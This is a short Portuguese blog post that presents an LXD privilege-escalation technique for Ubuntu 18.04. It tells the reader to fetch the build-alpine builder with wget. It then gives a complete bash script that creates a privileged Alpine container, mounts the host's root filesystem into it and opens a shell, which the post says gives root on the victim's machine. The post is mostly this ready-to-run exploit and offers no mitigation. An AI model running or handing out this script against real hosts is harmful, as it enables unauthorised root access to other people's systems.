Escalação de Privilégio no LXD Ubuntu 18.04

Escalação de Privilégio no LXD Ubuntu 18.04

No dia 10 de Junho de 2019 foi descoberta uma falha onde é possível fazer uma escalação de privilégio no LXD Ubuntu 18.04.

No computador do atacante, faça download da build-alpine e crie um container como usuário root

wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

Agora execute este script e você terá acesso root na maquina da vitima

#!/usr/bin/env bash

function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] Listing images...\n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "\n[*] Removing container..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi

Espero que tenha gostado!

Qualquer dúvida, só deixar nos comentários!

Muito obrigado e até mais! 😀

1 comentário em “Escalação de Privilégio no LXD Ubuntu 18.04”

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *